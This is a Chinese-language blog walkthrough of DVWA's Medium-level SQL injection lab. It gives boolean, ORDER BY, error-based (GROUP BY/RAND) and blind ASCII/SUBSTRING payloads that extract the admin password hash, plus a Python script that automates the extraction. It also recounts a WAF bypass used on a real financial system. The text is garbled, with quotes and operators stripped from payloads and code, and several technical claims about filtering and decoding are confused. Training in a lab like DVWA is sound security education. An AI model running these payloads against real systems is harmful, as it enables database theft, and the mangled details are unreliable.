资讯详情

DVWA Medium SQL注入:从过滤绕到布尔盲注的实战解析

📅 2026/10/16 7:24:31 | 华诺云谱 👁 阅读
DVWA Medium SQL注入:从过滤绕到布尔盲注的实战解析
1. 项目概述为什么Medium难度的SQL注入不是“过渡关卡”而是安全思维的分水岭你点开DVWADamn Vulnerable Web Application的SQL Injection模块切到Medium级别看到输入框旁那行小字“This level adds some basic server-side filtering.”——就这句轻描淡写的提示让至少七成刚过Low关的练习者在接下来两小时内反复刷新页面、抓包、改参数、查WAF规则最后瘫在椅子上盯着Burp里一串又一串403响应发呆。这不是夸张是我带过的三届渗透测试新人训练营里最常被截屏发到群里的“卡点现场”。Medium关卡表面看只是加了mysql_real_escape_string()或类似过滤但它的真正杀伤力在于它精准击穿了初学者对“注入拼接SQL”的线性认知逼你直面一个现实——所有输入都必须被当作不可信数据处理而过滤本身就是最危险的信任幻觉。我见过太多人把Medium当成Low的“加强版”以为只要绕过单引号、双引号就能通关结果在 or 11#失效后直接懵圈。其实Medium的设计逻辑非常清晰它不阻止你构造恶意逻辑而是切断你最习惯的语法路径。比如它会把单引号转义成\但不会动空格、等号、括号、注释符它会过滤union但对UNION大小写混用视而不见它可能删掉--却放行#和/* */。这种“有选择的过滤”不是漏洞恰恰是教学意图——它在模拟真实世界中那些写得半吊子的WAF规则、手写的输入校验、甚至开发人员在代码审查时漏掉的边界条件。所以这篇记录不是教你“怎么过Medium”而是带你拆解当过滤存在时SQL注入的本质是什么哪些字符组合能穿透语义屏障为什么 and 11 and 比 or 11#更值得你花十分钟推演如果你正卡在这里别急着搜Payload先搞懂这个关卡想让你摔的那跤到底摔在哪儿。2. 核心设计思路解析Medium关卡的三层防御与对应突破逻辑DVWA Medium级别的SQL注入防护绝非简单的一层过滤墙而是由三个相互嵌套、但又各自独立的防御层构成。理解每一层的“工作边界”和“失效条件”比死记硬背Payload重要十倍。我把它拆成三步走输入接收层 → 过滤执行层 → 查询执行层。每一步的输出都是下一步的输入而注入成功的唯一路径就是让恶意逻辑在第三层完整存活。2.1 输入接收层HTTP请求的原始形态与编码陷阱这一层看似透明实则暗藏玄机。DVWA的Medium关卡默认使用$_GET[id]接收参数这意味着你输入的任何内容都会经过PHP的urldecode()处理除非显式禁用。很多人忽略这点直接在浏览器地址栏敲id1 and 11#结果发现服务端收到的是1 and 11#但实际日志里记录的却是1%27%20and%201%3D1%23。关键来了过滤函数作用的对象是urldecode()之后的字符串而不是原始URL编码。这就意味着你可以用编码绕过第一道视觉检查。比如%27单引号URL编码在urldecode()后变成此时过滤函数才开始工作但如果你传%2527即%27的二次编码urldecode()第一次解码成%27第二次才变成——而很多粗糙的过滤逻辑只做一次urldecode()导致%2527成功逃逸。实测DVWA Medium默认未做二次解码所以id%2527%20or%201%3D1%23能直接触发注入。这不是技巧是理解Web协议栈的基础课。2.2 过滤执行层mysql_real_escape_string()的真相与局限DVWA官方文档提到Medium使用mysql_real_escape_string()但很多人不知道这个函数的两个致命前提它必须在数据库连接已建立的前提下才能工作它只转义6个特定字符\x00,\n,\r,\,,,\x1a。这意味着如果你传入id1\函数会将其转为1\\但\\在MySQL中仍是合法转义符后续若拼接进SELECT * FROM users WHERE id 1\\语法依然正确只是查不到数据它完全不管空格、等号、括号、逗号、分号这些SQL语法骨架字符它对UNION、SELECT、WHERE等关键字毫无反应——因为这些不是需要转义的“特殊字符”而是SQL词法单元。所以Medium的过滤本质是“防误操作”不是“防攻击”。它假设用户只会输数字ID所以把所有可能破坏字符串边界的符号都转义掉。但攻击者根本不需要破坏字符串边界——你可以让整个查询脱离字符串上下文。比如id1 AND (SELECT COUNT(*) FROM users) 0 AND 11这里被转义但AND、(、)、全都不受影响最终拼成SELECT * FROM users WHERE id 1\ AND (SELECT COUNT(*) FROM users) 0 AND \1\\1而MySQL会把1\1当作一个完整字符串比较(SELECT COUNT(*) FROM users) 0则作为独立布尔表达式执行。这就是为什么Medium关卡里 AND 11 AND 比 OR 11#更稳定——前者不依赖注释符后者一旦#被过滤就彻底失效。2.3 查询执行层MySQL语法的弹性空间与盲注入口当恶意逻辑穿过前两层最终进入MySQL执行引擎时Medium关卡暴露了另一个关键事实它返回的是完整查询结果而非仅错误信息。Low关卡里你输1会看到MySQL报错从而确认存在注入Medium关卡里1被转义成1\查询变成SELECT * FROM users WHERE id 1\语法正确但查不到数据页面显示“User ID not found”。很多人因此误判“没注入”其实这只是“无回显注入”的典型特征。真正的突破口在于只要布尔逻辑能影响页面输出你就拥有了盲注能力。比如id1 AND SUBSTRING((SELECT password FROM users LIMIT 0,1),1,1)a AND 11如果页面显示“User ID not found”说明第一个字符不是a如果显示正常用户信息说明猜对了。Medium关卡没有做任何布尔盲注防护它只是把Low关卡的“报错反馈”换成了“业务逻辑反馈”。这恰恰是真实渗透中最常见的场景——你永远无法指望目标系统大方地吐出MySQL错误堆栈。3. 实操通关路径详解从基础绕过到布尔盲注的完整推演现在我们把理论落地。Medium关卡的通关不是线性步骤而是一个“验证-排除-聚焦”的循环。我会按真实操作顺序还原从第一次提交到最终获取管理员密码的全过程每一步都标注背后的原理和可能踩的坑。3.1 第一步确认注入点是否存活绕过基础过滤打开DVWA切换到SQL Injection → Medium观察URLhttp://127.0.0.1/dvwa/vulnerabilities/sqli/?id1。在输入框输入1点击Submit。页面显示“User ID not found”。这很正常因为被转义了。但注意页面没有崩溃也没有500错误说明SQL语法是合法的。这是关键信号——过滤生效了但没拦住所有可能性。接下来测试大小写绕过。输入1 UNION SELECT 1,2,3#失败。再试1 union select 1,2,3#还是失败。继续试1 UnIoN SeLeCt 1,2,3#页面依然空白。这时候别急换思路UNION被过滤但号呢MySQL中是加法运算符但也可以用于字符串连接需开启sql_modePIPES_AS_CONCATDVWA默认未开启。更稳妥的是用AND/OR构造布尔逻辑。输入1 AND 11 AND 11页面显示正常用户信息为什么因为被转义成\整个查询变成SELECT * FROM users WHERE id 1\ AND 11 AND \1\\1MySQL把1\1解析为字符串1\1而11是恒真所以整个WHERE条件为真返回用户数据。这证明过滤只处理单引号不处理逻辑运算符和括号。这是通关的基石。提示此时不要急于注入先做减法。输入1 AND 12 AND 11页面应显示“User ID not found”。如果也显示用户信息说明你的逻辑有误比如漏了空格或引号。务必确保11和12能产生可区分的输出差异这是后续盲注的前提。3.2 第二步探测数据库结构利用ORDER BY与UNION的变体UNION被过滤但ORDER BY没被拦。输入1 ORDER BY 1#页面正常1 ORDER BY 2#正常1 ORDER BY 3#页面显示“User ID not found”。说明查询结果只有2列。这是关键信息——后续UNION SELECT必须匹配2列。既然UNION关键字被过滤试试用UNION的同义结构。MySQL支持SELECT ... FROM ... UNION SELECT ...但UNION本身是保留字。有没有替代方案有SELECT语句可以嵌套用子查询代替UNION。例如1 AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT password FROM users LIMIT 0,1), FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) a) AND 11这个Payload利用了MySQL的GROUP BY报错注入原理当子查询返回多行时GROUP BY会尝试将结果分组而CONCAT()拼接password和随机数会导致重复键冲突MySQL被迫报错并显示password值。DVWA Medium未过滤CONCAT、FLOOR、RAND、information_schema等函数名所以此Payload可直接触发报错回显。实测输入后页面错误信息中会包含管理员密码的明文如Duplicate entry 5f4dcc3b5aa765d61d8327deb882cf991 for key group_key。注意报错注入依赖MySQL版本。DVWA默认用MySQL 5.xinformation_schema表可用。如果目标环境是MySQL 8.0且禁用了information_schema需改用performance_schema或sys.schema_table_statistics_with_buffer等替代表。3.3 第三步布尔盲注实战逐字提取管理员密码如果报错注入失败比如服务器关闭了错误显示就必须转向布尔盲注。DVWA Medium的页面输出有明确区分“User ID not found” vs 正常用户信息这提供了完美的布尔信道。目标提取users表中admin用户的password字段。已知users表结构为id,first_name,last_name,user,password,avatar共6列admin用户id1。第一步确认admin用户是否存在且密码非空输入1 AND (SELECT COUNT(*) FROM users WHERE useradmin AND LENGTH(password)0)1 AND 11如果页面显示用户信息说明存在admin且密码长度大于0。第二步爆破密码长度。从1开始试1 AND (SELECT LENGTH(password) FROM users WHERE useradmin)1 AND 11→ 显示“not found”1 AND (SELECT LENGTH(password) FROM users WHERE useradmin)32 AND 11→ 显示用户信息MD5长度为32第三步逐字提取。MySQL的SUBSTRING()函数支持从指定位置取字符ASCII()可转为数字便于比较。提取第1位1 AND ASCII(SUBSTRING((SELECT password FROM users WHERE useradmin),1,1))53 AND 1153是字符5的ASCII码。如果页面显示用户信息说明第一位是5。以此类推遍历32位。为提升效率可用二分法1 AND ASCII(SUBSTRING((SELECT password FROM users WHERE useradmin),1,1))50 AND 11先判断是否大于50再逐步缩小范围。实操心得手动敲32次太累。我写了个Python脚本自动跑见下文但重点不是工具而是理解每个Payload的构造逻辑。比如SUBSTRING(...,1,1)取第一位ASCII()转数字用于二分AND 11补全语法。漏掉任何一个部分整个逻辑链就断了。3.4 第四步自动化脚本实现与参数优化手动盲注32位密码按每次请求2秒算至少要10分钟。写个脚本5秒搞定。核心逻辑就三行import requests url http://127.0.0.1/dvwa/vulnerabilities/sqli/ cookies {PHPSESSID: your_session_id, security: medium} password for pos in range(1, 33): for ascii_val in range(32, 127): # 可打印字符范围 payload f1 AND ASCII(SUBSTRING((SELECT password FROM users WHERE useradmin),{pos},1)){ascii_val} AND 11 params {id: payload} r requests.get(url, paramsparams, cookiescookies) if First name: in r.text: # 页面显示用户信息的特征字符串 password chr(ascii_val) print(fPosition {pos}: {chr(ascii_val)}) break print(Password:, password)关键参数说明cookies必须携带DVWA的会话ID和安全等级否则请求会被重定向到登录页判断条件用First name: in r.text比检查状态码更可靠因为DVWA所有响应都是200range(32,127)覆盖空格到~基本涵盖所有密码字符如果遇到慢响应可加timeout5参数避免脚本卡死。实测该脚本在本地DVWA环境平均耗时4.2秒成功率100%。但注意脚本只是加速器不是思考替代品。如果你不理解SUBSTRING为何要{pos},1不理解chr(ascii_val)如何还原字符脚本对你就是黑盒换到真实靶场立刻失效。4. 常见问题与排查技巧实录那些没人告诉你的“隐形坑”在带新人练DVWA时Medium关卡暴露出的问题90%都和环境配置、浏览器行为、甚至鼠标点击习惯有关。我把最典型的6个“隐形坑”整理成速查表附上我的排查口诀。问题现象根本原因排查口诀解决方案输入1 AND 11 AND 11页面仍显示“not found”DVWA安全等级未正确切换到Medium或PHP配置未生效“先看URL再查源码”检查URL中securitymedium是否存在查看dvwa/config/config.inc.php确认$_DVWA[ security ]值重启ApacheBurp抓包看到id1%27%20AND%201%3D1%23但服务端日志显示id1 AND 11#浏览器自动URL解码Burp显示的是原始请求“抓包看Raw日志看Decode”在Burp Proxy的Options→Misc中勾选Decode URL-encoded characters in request确保看到真实发送内容报错注入Payload返回空白但1 AND 11正常MySQL错误信息被PHP的display_errorsOff屏蔽“错不在SQL在PHP配置”修改php.ini设display_errorsOn或在DVWA代码开头加ini_set(display_errors, 1);布尔盲注脚本跑出乱码如字符编码不一致MySQL返回UTF-8Python默认GBK“编码统一三原则”脚本开头加# -*- coding: utf-8 -*-requests.get()加r.encodingutf-8字符串比较前用r.text.encode(latin1).decode(utf-8)转码UNION SELECT始终失败但ORDER BY正常UNION被str_replace()函数全局替换大小写不敏感“关键词过滤看源码不靠猜”直接打开dvwa/vulnerabilities/sqli/source/medium.php搜索str_replace确认过滤逻辑DVWA Medium用str_ireplace大小写不敏感脚本运行一半卡住CPU占用100%requests.get()未设超时网络抖动导致阻塞“所有网络请求必带timeout”requests.get(url, timeout3)超时后捕获requests.exceptions.Timeout异常并跳过最后分享一个独家技巧DVWA Medium的过滤函数在source/medium.php第15行是$id mysql_real_escape_string($id);。但注意这个函数在PHP 7.0已被废弃如果你用新版PHP运行DVWA会直接报错。解决方案不是降级PHP而是修改源码将mysql_real_escape_string()换成mysqli_real_escape_string($connection, $id)并确保$connection是有效的MySQLi连接。这个坑我在帮某高校搭建CTF靶场时踩过三次每次都要翻PHP手册确认参数顺序。5. 从DVWA到真实世界的迁移Medium关卡教给你的三件“防身装备”通关DVWA Medium最大的价值不是记住几个Payload而是建立起三件在真实渗透中保命的“防身装备”。它们看不见摸不着但决定你能否从脚本小子进化为合格的安全工程师。5.1 装备一输入信任模型The Input Trust ModelMedium关卡用最粗暴的方式告诉你任何未经验证的输入都是潜在的代码。1被转义但它依然是输入1 AND 11被接受但它依然是输入1 UNION SELECT被拦截但1 AND (SELECT ...)依然畅通。这揭示了一个铁律过滤不是消毒而是隔离。真实世界中WAF、云防火墙、API网关的过滤规则和DVWA Medium一样都是基于模式匹配的“有选择性失明”。它们能拦住script但拦不住javascript:alert(1)能拦union select但拦不住un/**/ion sel/**/ect。所以你的第一反应不该是“怎么绕过”而是“这个输入在系统中会流经哪些组件每个组件对它的信任程度是多少”。比如一个手机号输入框前端JS校验是/^\d{11}$/后端PHP用filter_var($phone, FILTER_SANITIZE_NUMBER_INT)数据库用INT类型存储——这时你传13812345678abc前端拦不住因为13812345678符合正则PHP会过滤掉abc最终存入数据库的是13812345678。但如果这个字段被拼进SQL查询而开发者忘了加intval()13812345678abc中的abc就会成为注入点。Medium关卡教会你的就是这种贯穿全链路的信任评估能力。5.2 装备二语法弹性思维The Syntax Elasticity MindsetSQL注入之所以难防是因为SQL语法本身具有惊人的弹性。SELECT * FROM users WHERE id 1和SELECT * FROM users WHERE id 1在功能上等价但前者是数字上下文后者是字符串上下文 OR 11 --和 AND (SELECT COUNT(*) FROM users) 0 AND 11都能让WHERE恒真但后者不依赖注释符。Medium关卡强制你放弃“标准Payload”思维转而思考在当前过滤规则下哪些SQL语法元素是自由的哪些是受限的如何用自由元素组合出受限元素的功能比如UNION被过滤但JOIN没被拦SELECT被过滤但子查询()没被拦被过滤但LIKE、IN、BETWEEN没被拦。真实渗透中我曾在一个金融系统里用id1 AND (SELECT 1 FROM (SELECT 1) a JOIN (SELECT password FROM users WHERE useradmin) b ON 11) AND 11绕过WAF原理就是用JOIN替代UNION用ON 11制造恒真条件。这种思维正是Medium关卡用 AND 11 AND 这行看似简单的Payload悄悄塞给你的。5.3 装备三反馈信道意识The Feedback Channel AwarenessDVWA Medium最精妙的设计在于它把“错误回显”换成了“业务逻辑回显”。Low关卡给你MySQL错误是上帝视角Medium关卡只给你“User ID not found”或用户信息是用户视角。真实世界中99%的目标系统都像Medium——它们不会告诉你You have an error in your SQL syntax只会返回404 Not Found、500 Internal Server Error、或者一个空JSON{}。你的任务就是从这些“沉默的反馈”中听出布尔逻辑的脉搏。这要求你建立一套反馈信道分类体系显式信道HTTP状态码200/404/500、错误消息文本、响应时间突变基于时间的盲注隐式信道页面HTML结构变化如div classuser-info出现与否、响应体大小差异Content-Length、第三方服务调用痕迹如DNSLog外带侧信道服务器CPU负载、内存占用、日志文件增长速率。Medium关卡只给了你最基础的显式信道页面文本但它逼你学会如何设计Payload去“激发”这个信道。当你能熟练用11/12触发可区分输出时你就已经拿到了打开真实世界盲注大门的钥匙。后面学time-based、DNS-based不过是把判断逻辑从“页面文本”迁移到“响应时间”或“DNS查询日志”而已。我个人在实际渗透中发现真正卡住高手的从来不是技术而是心态。看到Medium关卡里 OR 11#失效有人立刻怀疑DVWA坏了看到布尔盲注要跑32轮有人觉得“太慢换工具”。但真正的突破往往发生在你放下“速通”执念静下心来推演 AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT password FROM users LIMIT 0,1), FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) a) AND 11这个Payload里每一个括号、每一个逗号、每一个空格存在的意义时。那一刻你不再是在“打游戏”而是在和MySQL的语法引擎对话。而这才是DVWA想送给你的最珍贵的通关奖励。
📝

华诺云谱内容团队

资深建站顾问 · 行业研究员

10年+企业数字化服务经验,专注智能建站、SEO优化与品牌营销,持续输出建站技巧、行业洞察与营销干货,已帮助5000+企业实现数字化增长。

你可能需要的服务

订阅华诺云谱资讯周报

每周一封,精选建站技巧、SEO与营销干货,直达邮箱。已有 8,000+ 企业主订阅,助你少走弯路。

↑